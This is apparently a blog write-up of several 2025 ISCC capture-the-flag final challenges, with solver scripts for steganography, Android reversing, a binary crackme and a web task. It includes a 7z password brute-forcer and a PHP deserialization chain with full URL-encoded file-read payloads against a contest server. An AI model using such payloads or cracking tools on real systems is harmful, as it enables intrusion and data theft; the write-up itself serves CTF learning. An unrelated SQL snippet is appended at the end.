2025ISCC破阵夺旗赛决赛部分题目WP

Misc

神经网络迷踪

非预期:

查看模型内容:

import torch

try:
    model_weights = torch.load('attachment-38.pth', map_location=torch.device('cpu'))
    print("模型结构:")
    for key, value in model_weights.items():
        print(f"{key}: {value.shape}")
except Exception as e:
    print(f"加载模型时出错: {e}")
fc1.weight: torch.Size([16, 16])
fc1.bias: torch.Size([16])
secret_key.weight: torch.Size([4, 16])
fc_secret.weight: torch.Size([4, 16])
output.weight: torch.Size([4, 4])
output.bias: torch.Size([4])

这里特殊的张量为secret_key和fc_secret

这里用bandzip发现可以直接解包
在这里插入图片描述

这里注意到文件夹的名字很特殊,尝试提交ISCC{game},发现成功,应该是非预期了
ISCC{game}

预期解:
import torch

try :

 model_weights = torch.load('attachment-38.pth',

  map_location = torch.device('cpu'))

 print("模型结构:")

 for key, value in model_weights.items() :

  print(f"{key}: {value.shape}")

  except Exception as e :

print(f"加载模型时出错: {e}")
fc1.weight: torch.Size([16, 16]) 

fc1.bias: torch.Size([16]) 

secret_key.weight: torch.Size([4, 16]) 

fc_secret.weight: torch.Size([4, 16]) 

output.weight: torch.Size([4, 4]) 

output.bias: torch.Size([4])

这里特殊的张量为secret_key和fc_secret

重点就是分析这俩个张量,有隐藏信息:

提取神经网络最后一层的偏置参数

import torch as t
from struct import pack, unpack

def get_bias_values(path):
    tensor_map = t.load(path)
    weights = tensor_map.get('output.bias', None)
    if weights is None:
        raise RuntimeError("Expected key not found in model state.")

    transform = lambda x: int(pack('f', x)[0] * 255) & 0xFF if x >= 0 else int(t.round(x * 255)) & 0xFF
    encoded = list(map(lambda val: int(t.round(val * 255)) & 0xFF, weights))
    return encoded

if __name__ == "__main__":
    filename = "attachment-38.pth"
    output_sequence = get_bias_values(filename)
    print(output_sequence)

发现隐藏信息
在这里插入图片描述
十进制转字符拿到flag
在这里插入图片描述

拿到ISCC{game}

八卦

这题太有说法了,和出题人对了30个小时的脑电波,做出来的建议和出题人原地结婚

题目给了gif图片,

查看gif文件十六进制数值,发现文件尾有7z压缩包,提取出来:
在这里插入图片描述
提取出来每一帧:使用ctftools工具提取:

在1 2 3 5图片中有base64编码:

5Lm+5Li65aSp 4WY3DZVQWTUJFGI= 5rC06Zu35bGv 42YLJZNEVHUZZAA=

解出来就是:

第1帧 乾为天 1 乾乾

第2帧 山水蒙 4 艮坎

第3帧 水雷屯 3 坎震

第4帧

第5帧 水天需 5 坎乾

第6帧

之后上了hint:
在这里插入图片描述
这里先开始的思路是,求出帧间隔[‘200’, ‘300’, ‘200’, ‘300’, ‘200’, ‘300’]在这里插入图片描述
按帧间隔来说 把200换成断掉的,300换成完整的—

那就是对应的水火济

在这里插入图片描述
再根据hint2:是否存在内容

1235存在,26不存在,那可能就是存在为完整的线,不存在则断开

则为天水讼
在这里插入图片描述
另外LSB隐写中,都存在base64隐写,转换过来就是坤为地
在这里插入图片描述
在这里插入图片描述
到这里为止,根据hint中说分为上卦和下卦,将其分开

第1帧 乾为天 乾乾

第2帧 山水蒙 艮坎

第3帧 水雷屯 坎震

第5帧 水天需 坎乾

lSB 坤为地 坤坤

帧间隔 水火济 坎离

存在内容天水讼 乾坎

尝试八进制——>ASCII 无解

尝试转010——>ASCII 摩斯 无解

尝试直接按时序排序——>直接解码 无解

重新分析问题,已知有七卦,目前我们肯定的是有五卦,还差俩挂

乾 艮 坎 坎 坤

乾 坎 震 乾 坤

按上卦在前下卦在后 并且按时序排序得到

乾坤艮坎坎 乾乾坤震坎

那么这里还短四个字符,让AI生成脚本:

指令如下:

已知密码14位,现在已知俩组数据乾坤艮坎坎 乾乾坤震坎 还差四个字符,排序是这样的:乾坤震巽坎离艮兑,在前面五个数据中随机插入俩个字符,在后面五个数据中随机插入俩个字符,插入时要注意插入的位置,再把俩段按从前到后拼接,写脚本生成字典,可重复,而且第一位一定是乾

爆破脚本如下:

import time
import os
import subprocess
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
from queue import Queue
from threading import Thread

def crack_7z_with_dict(archive_path, dict_path, max_workers=4, seven_zip_path=r'"C:/Program Files/7-Zip/7z.exe"'):
    """
    使用密码字典多线程爆破7z压缩包密码
    
    参数:
    archive_path (str): 待破解的7z文件路径
    dict_path (str): 密码字典文件路径(每行一个密码)
    max_workers (int): 最大工作线程数
    seven_zip_path (str): 7-Zip可执行文件路径
    """
    if not os.path.exists(archive_path):
        print(f"错误: 文件 '{archive_path}' 不存在")
        return
    if not os.path.exists(dict_path):
        print(f"错误: 字典文件 '{dict_path}' 不存在")
        return
    
    total_attempts = 0
    start_time = time.time()
    found = False
    processed_queue = Queue()
    
    # 统计字典行数(总尝试次数)
    print(f"正在统计字典文件行数...")
    with open(dict_path, 'r', encoding='utf-8', errors='ignore') as f:
        total_possibilities = sum(1 for _ in f)
    
    if total_possibilities == 0:
        print("错误: 字典文件为空")
        return
    
    def try_password(password):
        nonlocal total_attempts, found
        if found:
            return
        
        password = password.strip()  # 去除首尾空格和换行符
        if not password:
            processed_queue.put(0)  # 空行也计数但不执行命令
            return
        
        total_attempts += 1
        
        # 执行解压命令
        cmd = f'{seven_zip_path} x -p"{password}" -y "{archive_path}" -o"temp_extract"'
        result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        
        # 更新处理队列
        processed_queue.put(1)
        
        # 检查解压结果
        if result.returncode == 0 and b"Everything is Ok" in result.stdout:
            elapsed_time = time.time() - start_time
            print(f"\n密码找到: {password}")
            print(f"尝试次数: {total_attempts}")
            print(f"耗时: {elapsed_time:.2f}秒")
            print(f"速度: {total_attempts/elapsed_time:.2f}次/秒")
            found = True
            return password
        return None
    
    def progress_display():
        """实时显示进度的辅助线程"""
        processed = 0
        last_update = 0
        update_interval = 0.5  # 进度更新间隔(秒)
        last_speed_samples = []
        speed_sample_size = 10  # 计算平均速度的样本数量
        
        while processed < total_possibilities and not found:
            # 从队列中获取已处理数量
            while not processed_queue.empty():
                processed += processed_queue.get()
            
            # 控制更新频率,避免过于频繁
            current_time = time.time()
            if current_time - last_update >= update_interval:
                elapsed = current_time - start_time
                progress = processed / total_possibilities * 100
                
                # 计算速度 (平滑处理)
                if elapsed > 0:
                    current_speed = processed / elapsed
                    last_speed_samples.append(current_speed)
                    if len(last_speed_samples) > speed_sample_size:
                        last_speed_samples.pop(0)
                    avg_speed = sum(last_speed_samples) / len(last_speed_samples)
                else:
                    avg_speed = 0
                
                # 计算ETA
                if avg_speed > 0:
                    remaining = total_possibilities - processed
                    eta_seconds = remaining / avg_speed
                    eta_str = time.strftime('%H:%M:%S', time.gmtime(eta_seconds))
                else:
                    eta_str = "未知"
                
                # 更新进度显示
                sys.stdout.write(f"\r进度: {progress:.2f}% | 已处理: {processed:,}/{total_possibilities:,} | "
                                f"速度: {avg_speed:.2f}次/秒 | 预计剩余: {eta_str}")
                sys.stdout.flush()
                last_update = current_time
            
            time.sleep(0.1)  # 减少CPU占用
        
        # 显示最终进度
        final_time = time.time() - start_time
        final_speed = total_attempts / final_time if final_time > 0 else 0
        sys.stdout.write(f"\r进度: 100.00% | 已处理: {total_possibilities:,}/{total_possibilities:,} | "
                        f"速度: {final_speed:.2f}次/秒 | 总耗时: {time.strftime('%H:%M:%S', time.gmtime(final_time))}")
        sys.stdout.flush()
    
    print(f"开始破解7z文件: {archive_path}")
    print(f"字典路径: {dict_path}")
    print(f"总密码条目: {total_possibilities:,}")
    print(f"工作线程数: {max_workers}")
    print("正在尝试字典中的密码...")
    
    # 创建临时解压目录
    if not os.path.exists("temp_extract"):
        os.makedirs("temp_extract")
    
    # 启动进度显示线程
    progress_thread = Thread(target=progress_display)
    progress_thread.daemon = True
    progress_thread.start()
    
    # 读取字典文件并并行尝试密码
    with open(dict_path, 'r', encoding='utf-8', errors='ignore') as f, \
         ThreadPoolExecutor(max_workers=max_workers) as executor:
        # 使用future列表跟踪所有任务
        future_to_password = {executor.submit(try_password, line): line for line in f}
        
        # 处理完成的任务
        for future in as_completed(future_to_password):
            if found:
                break
            result = future.result()
            if result:
                return result
    
    # 等待进度线程完成最后的更新
    progress_thread.join(timeout=1.0)
    
    print("\n遗憾,字典中未找到正确密码。")
    print(f"尝试次数: {total_attempts}")
    print(f"耗时: {time.time() - start_time:.2f}秒")
    return None

if __name__ == "__main__":
    # 配置参数
    archive_path = "1.7z"          # 待破解的7z文件路径
    dict_path = "password_dictionary.txt"    # 密码字典文件路径(需提前生成)
    max_workers = 4                # 工作线程数
    seven_zip_path = r'"C:/Program Files/7-Zip/7z.exe"'  # 7-Zip路径
    
    # 检查7-Zip路径是否存在
    if not os.path.exists(seven_zip_path.strip('"')):
        print(f"警告: 7-Zip路径不存在: {seven_zip_path}")
        print("请确保路径正确,否则脚本可能无法正常工作。")
    
    # 执行爆破
    crack_7z_with_dict(archive_path, dict_path, max_workers, seven_zip_path=seven_zip_path)

在这里插入图片描述
成功找到密码:乾乾坤坤坎震艮坎坎乾艮坤兑兑

解压得到txt文件:文本内容:U1ZORFEzdGxhbEpWYW5ocE9UTXpmUT09

随波逐流一把梭出flag:
在这里插入图片描述

Mobi

叽米是梦的开场白

查看MainActivity,
在这里插入图片描述
调用了三个方法对flag进行验证

分析flag验证流程:第一部分通过DEX文件验证,第二部分通过本地库验证

这里加载了本地库:System.loadLibrary(“mobile04”)

分析libmobile04.so,Java_com_example_mobile04_MainActivity_getEncryptedSegment函数中aDex035指针指向Dex的加密数据
在这里插入图片描述
提取出来dex
在这里插入图片描述
在这里插入图片描述
jadx分析:

发现密文和加密方式

在这里插入图片描述

[66, 50, 65, 56, 65, 54, 54, 56, 69, 70, 69, 49, 48, 49, 65, 70]

分析libSunday的Java_com_example_mobile04_Sunday_getKey函数

这里返回了DESede密钥:jVLC4rGRfw2PPcXrJlEiLluj
在这里插入图片描述
在这里插入图片描述
拿到第一段flag:jueUQz

checkflag2的enreal.so是加密的,分析加密逻辑

分析libMonday.so的Java_com_example_mobile04_a_checkFlag2函数
在这里插入图片描述
这里注意到了有异或的操作:

if (v8 < 8) {
    for (i = 0LL; i != v8; ++i)
        *(_BYTE *)(v9 + i) = ((char)((((unsigned __int16)*(char *)(v9 + i) >> 6) | (4 * *(_BYTE *)(v9 + i))) ^ 0x12) >> 3) | (32 * ((((unsigned __int16)*(char *)(v9 + i) >> 6) | (4 * *(_BYTE *)(v9 + i))) ^ 0x12));
    goto LABEL_19;
}

写脚本提取文件:

def obfuscate(byte):
    byte = ((byte << 2) | (byte >> 6)) & 0xFF
    byte ^= 0x12
    byte = ((byte >> 3) | (byte << 5)) & 0xFF
    return byte

with open("enreal", "rb") as infile, open("deenreal", "wb") as outfile:
    outfile.write(bytes(obfuscate(b) for b in infile.read()))

IDA分析deenreal文件:
在这里插入图片描述
找到密文和密钥:

密文:0xC643E6AB95DFE255LL
密钥:91q80GQO436NVM1S0AAGFXw7

在这里插入图片描述
找到第二段flag:vjrRpZSA

俩段flag拼接:ISCC{jueUQzvjrRpZSA}

GGAD

分析MainActivity类

这里加载ggad本地库,并validateKey函数来验证输入的密钥。

在这里插入图片描述

查看b类:

主要功能是验证输入字符串是否符合特定条件

查看validateOddPositions方法:

将奇数位置字符转换为二进制字符串,再与PRESET_VALUE比较

将偶数位置字符与c.a()比较

在这里插入图片描述

查看c类:

这里对加密数据处理,进行RC4解密和维吉尼亚解密

密文为:“159G2C034P0E5G”

在这里插入图片描述

分析出加密流程,还缺少密钥

导出so文件,查看Java_com_example_ggad_MainActivity_stringFromJNI函数,这里发现密钥

在这里插入图片描述

这里密钥在https://www.cmd5.com/default.aspx网站上成功破解,拿到密钥ExpectoPatronum

构造exp:

class CipherBreaker:
    def __init__(self, secret_key):
        self.magic_word = secret_key
        
    def binary_to_text(self, binary_sequence):
        return ''.join(chr(int(binary_sequence[i:i+8], 2)) for i in range(0, len(binary_sequence), 8))
    
    def vigenere_decrypt(self, encrypted_text, key_phrase):
        decrypted_chars = []
        shift_values = [ord(c.upper()) - ord('A') for c in key_phrase]
        key_length = len(shift_values)
        key_position = 0
        
        for char in encrypted_text:
            if char.isalpha():
                shift_amount = shift_values[key_position % key_length]
                base_ord = ord('A') if char.isupper() else ord('a')
                decrypted_ord = (ord(char) - base_ord - shift_amount) % 26 + base_ord
                decrypted_chars.append(chr(decrypted_ord))
                key_position += 1
            else:
                decrypted_chars.append(char)
                
        return ''.join(decrypted_chars)
    
    def merge_strings(self, first_str, second_str):
        min_len = min(len(first_str), len(second_str))
        return ''.join(f"{first_str[i]}{second_str[i]}" for i in range(min_len))
    
    def hex_to_bitstring(self, hex_string):
        byte_array = [int(hex_string[i:i+2], 16) for i in range(0, len(hex_string), 2)]
        return ''.join(f"{b:08b}" for b in byte_array)
    
    def invert_bits(self, bit_sequence):
        return bit_sequence.translate(str.maketrans('01', '10'))
    
    def rc4_initialization(self, key_material):
        key_bytes = key_material.encode() if isinstance(key_material, str) else key_material
        s_box = list(range(256))
        j = 0
        for i in range(256):
            j = (j + s_box[i] + key_bytes[i % len(key_bytes)]) % 256
            s_box[i], s_box[j] = s_box[j], s_box[i]
        return s_box
    
    def rc4_cipher(self, s_box, data_bytes):
        input_bytes = data_bytes if isinstance(data_bytes, bytes) else data_bytes.encode()
        i = j = 0
        output_bytes = []
        for byte in input_bytes:
            i = (i + 1) % 256
            j = (j + s_box[i]) % 256
            s_box[i], s_box[j] = s_box[j], s_box[i]
            output_bytes.append(byte ^ s_box[(s_box[i] + s_box[j]) % 256])
        return bytes(output_bytes)
    
    def decrypt_cipher(self, binary_cipher, text_cipher):
        stage_one = self.binary_to_text(binary_cipher)
        stage_two = self.vigenere_decrypt(text_cipher, self.magic_word)
        stage_three = self.merge_strings(stage_one, stage_two)
        stage_four = self.hex_to_bitstring(stage_three)
        stage_five = self.invert_bits(stage_four)
        stage_six = bytes(int(stage_five[i:i+8], 2) for i in range(0, len(stage_five), 8))
        rc4_state = self.rc4_initialization(self.magic_word)
        final_output = self.rc4_cipher(rc4_state, stage_six)
        
        return final_output

if __name__ == "__main__":
    encrypted_binary = '0100001100110101001110010011001100110110001101010100010100110001001101000011001001000010001100000100010000110101'
    encrypted_text = '159G2C034P0E5G'
    secret_phrase = 'ExpectoPatronum'
    
    decoder = CipherBreaker(secret_phrase)
    plaintext = decoder.decrypt_cipher(encrypted_binary, encrypted_text)
    flag = plaintext.decode()
    print(flag)

Web

谁动了我的奶酪

猜测是汤姆动了杰瑞的奶酪,输入汤姆,跳转到新页面

在这里插入图片描述

拿到源码:

<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";

class Tom{
    public $stolenCheese;
    public $trap;
    public function __construct($file='cheesemap.php'){
        $this->stolenCheese = $file;
        echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";
    }
    public function revealCheeseLocation(){
        if($this->stolenCheese){
            $cheeseGuardKey = "cheesemap.php";
            echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));
            $this->stolenCheese = str_rot3($cheeseGuardKey);
        }
    }
    public function __toString(){
        if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {
            echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";
        }else{
            $this->trap['trap']->stolenCheese;
            return "Tom";
        }
    }
    
    public function stoleCheese(){
        $Messages = [
            "<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
            "<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
            "<h3>Cheese的香味越来越浓,谁在偷吃?</h3>",
            "<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",
        ];
        echo $Messages[array_rand($Messages)];
        $this->revealCheeseLocation();
    }
}

class Jerry{
    protected $secretHidingSpot;
    public $squeak;
    public $shout;
    public function searchForCheese($mouseHole){
        include($mouseHole);
    }
    public function __invoke(){
        $this->searchForCheese($this->secretHidingSpot);
    }
}

class Cheese{
    public $flavors;
    public $color;
    public function __construct(){
        $this->flavors = array();
    }
    public function __get($slice){
        $melt = $this->flavors;
        return $melt();
    }
    public function __destruct(){
        unserialize($this->color)();
        echo "Where is my cheese?";
    }
}

if (isset($_GET['cheese_tracker'])) {
    unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
    $clue = $_GET["clue"];
    $clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);
    if (unserialize($clue)){
        unserialize($clue)->squeak = "Thief!";
        if(unserialize($clue)->shout === unserialize($clue)->squeak)
            echo "cheese is hidden in ".$where;
        else
            echo "OHhhh no!find it yourself!";
    }
}

?>
    

分析链子:Cheese对象被销毁时,会触发destruct方法,之后destruct方法反序列化color,之后color对象被当作函数调用,会触发invoke方法,之后调用searchForCheese,可以用filter伪协议实现任意文件读取。

exp:

<?php
class Jerry{
    public $secretHidingSpot = 'php://filter/convert.base64-encode/resource=clue.php';
}

class Cheese{
    public $color;
    public function __construct($obj){
        $this->color = serialize($obj);
    }
}
$exploit = new Cheese(new Jerry());

$payload = serialize($exploit);

echo urlencode($payload);
?>

payload:

这里题目修复后源码改了,之前的思路复现不出来

http://112.126.73.173:10086/Y2hlZXNlT25l.php?cheese_tracker=O%3A6%3A%22Cheese%22%3A1%3A%7Bs%3A5%3A%22color%22%3Bs%3A100%3A%22O%3A5%3A%22Jerry%22%3A1%3A%7Bs%3A16%3A%22secretHidingSpot%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dclue.php%22%3B%7D%22%3B%7D

之后是读取flag_of_cheese.php文件

payload:

http://112.126.73.173:10086/Y2hlZXNlT25l.php?cheese_tracker=O%3A6%3A%22Cheese%22%3A1%3A%7Bs%3A5%3A%22color%22%3Bs%3A110%3A%22O%3A5%3A%22Jerry%22%3A1%3A%7Bs%3A16%3A%22secretHidingSpot%22%3Bs%3A62%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag_of_cheese.php%22%3B%7D%22%3B%7D

在这里插入图片描述

PD9waHAKICAgICRmbGFnID0gIklTQ0N7Y2gzM3NlX3RoIWVmXyE1X3RoZSI7CiAgICAvLyDkvYbmgI7kuYjlj6rmnInkuIDljYrlkaLvvJ8KCS8vIEplcnJ56L+Y5ZCs5Yiw5Yir55qE6byg6byg6K+0VG9t55SoMjLnmoQxNui/m+WItuW8guaIluS7gOS5iOeahO+8jOWVpeaEj+aAneWRou+8nwo/Pg==

base64解码:

<?php
    $flag = "ISCC{ch33se_th!ef_!5_the";
    // 但怎么只有一半呢?
	// Jerry还听到别的鼠鼠说Tom用2216进制异或什么的,啥意思呢?
?>

这里注意到路由的名字很特殊:Y2hlZXNlT25l.php

尝试解码:
cheeseOne

脑洞想到读取cheeseTow->Y2hlZXNlVHdv.php

进入下一关:

在这里插入图片描述

抓包测试,发现源码中有隐藏信息:
在这里插入图片描述
在这里插入图片描述

Jerry_Loves_Cheese

之后看到cookie里面的信息:

Cookie: PHPSESSID=223df301788476a7ae657f3f4c9f1bf1; auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImV4cCI6MTc0NzQ4NDgwMX0%3D.wJH-SrseEfPv3R23SAiwSxpy20WSZYZcvfBIJHEaV7w

一眼JWT,那前面解码出来的应该是key了

在这里插入图片描述

编辑cookie发送请求

在这里插入图片描述

拿到新的路由:c3933845e2b7d466a9776a84288b8d86.php

拿到编码I&x%Its7xy’IbsIaV’'ek

想到前面的内容:Jerry还听到别的鼠鼠说Tom用22的16进制异或什么的,啥意思呢?

异或拿到另一半flag

在这里插入图片描述

ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}

Reverse

CrackMe

进入main函数
在这里插入图片描述
求密钥要进入消息处理函数sub_1400013E0

分析函数
在这里插入图片描述
发现密钥为loc_140010010 且为42位

Shift+e提取42个数据
在这里插入图片描述
在这里插入图片描述
通过加密方式进行写脚本
在这里插入图片描述

from ida_bytes import *

# 字符集和映射表(打乱顺序)
charset = list("""ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz!#$%&'()*+,-./:;<=>?@[\]^_`{|}~""")
lookup = [
    0x74, 0x73, 0x76, 0x75, 0x78, 0x77, 0x7A, 0x79, 0x62, 0x61, 0x20, 0x23, 0x22, 0x25, 0x24, 0x27,
    0x26, 0x29, 0x28, 0x2B, 0x2A, 0x2D, 0x2C, 0x2F, 0x2E, 0x31, 0x30, 0x33, 0x32, 0x35, 0x34, 0x37,
    0x36, 0x39, 0x38, 0x3B, 0x00, 0x03, 0x02, 0x05, 0x04, 0x07, 0x06, 0x09, 0x08, 0x0B, 0x0A, 0x0D,
    0x0C, 0x0F, 0x0E, 0x11, 0x10, 0x13, 0x12, 0x15, 0x14, 0x17, 0x16, 0x19, 0x18, 0x1B, 0x60, 0x65,
    0x68, 0x67, 0x6A, 0x69, 0x6C, 0x6B, 0x6E, 0x6D, 0x70, 0x6F, 0x72, 0x71, 0x7B, 0x63, 0x7D, 0x7C,
    0x7F, 0x7E, 0x01, 0x1A, 0x1D, 0x1C, 0x1F, 0x1E, 0x21, 0x3A, 0x3D, 0x3C, 0x3F
]

# 解密密钥(重新排列)
key_sequence = [
    0x67, 0xB8, 0x4F, 0x47, 0xAC, 0x72, 0x6D, 0xA2, 0x97, 0x13, 0x4E, 0x46, 0xDE, 0xF0, 0x31, 0x81,
    0xC5, 0xE6, 0x92, 0xEE, 0x56, 0x9A, 0x52, 0x28, 0x0D, 0x6B, 0xF6, 0xE8, 0xD8, 0x24, 0x82, 0x3F,
    0xAB, 0x15, 0x3E, 0x17, 0xBD, 0x91, 0x83, 0xFE, 0x7A, 0x74, 0x64, 0x4B, 0x1B, 0xAB, 0xE0, 0xB6
]

def process_data():
    # 读取加密数据
    encrypted = list(get_bytes(0x0140010010, 42))
    
    # 异或解密(等价逻辑,不同实现)
    for idx in range(len(encrypted)):
        encrypted[idx] ^= (key_sequence[idx] ^ 0x73)
    
    # 查找表解码(步长处理方式不同)
    output = []
    for i in range(0, len(encrypted), 2):
        value = encrypted[i]
        for j, v in enumerate(lookup):
            if v == value:
                output.append(charset[j])
                break
    
    # 输出结果
    print(''.join(output), end="")

# 执行处理
process_data()

IDA中script command运行:

在这里插入图片描述

总结

这个比赛太有说法了。
来自大佬的评价:

https://mp.weixin.qq.com/s/4GUwW8DaSS7pTVlQh9-iDQ

SQL Server 中,`EXISTS` 是一个用于检查是否存在符合特定条件的记录的逻辑运算符。`EXISTS` 返回一个布尔值,即 `TRUE` 或 `FALSE`,表示查询结果集是否包含匹配条件的记录。下面是 `EXISTS` 的详细用法: 1. 基本语法: ```sql SELECT column_name(s) FROM table_name WHERE EXISTS (SELECT column_name FROM table_name WHERE condition); ``` 2. 示例: 假设有两个表,分别为 `customers` 和 `orders`, `customers` 表中包含了所有客户的信息,而 `orders` 表中包含了所有的订单信息。我们需要查询所有已经下过订单的客户的姓名和地址,可以使用以下 SQL 语句: ```sql SELECT customerName, address FROM customers WHERE EXISTS (SELECT * FROM orders WHERE orders.customerID = customers.customerID); ``` 在上面的 SQL 语句中,`EXISTS` 子查询中的条件是查找 `orders` 表中的所有记录,其中 `orders.customerID = customers.customerID` 表示连接两个表的条件,即匹配两个表中的 `customerID` 列。如果 `EXISTS` 子查询返回 `TRUE`,则 `customerName` 和 `address` 列的值会被返回。 3. 注意事项: - `EXISTS` 子查询必须包含一个 `SELECT` 语句,该语句必须返回一个结果集。 - `EXISTS` 子查询中的条件必须使用外部查询中的列或表。 - `EXISTS` 子查询中的 `SELECT` 语句可以是任何有效的 T-SQL 查询语句,包括 `SELECT *`。 - `EXISTS` 子查询中的条件可以包含任何有效的 T-SQL 表达式和运算符。 - `EXISTS` 的性能比使用 `JOIN` 进行连接查询要高,特别是在查询大型数据集时。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值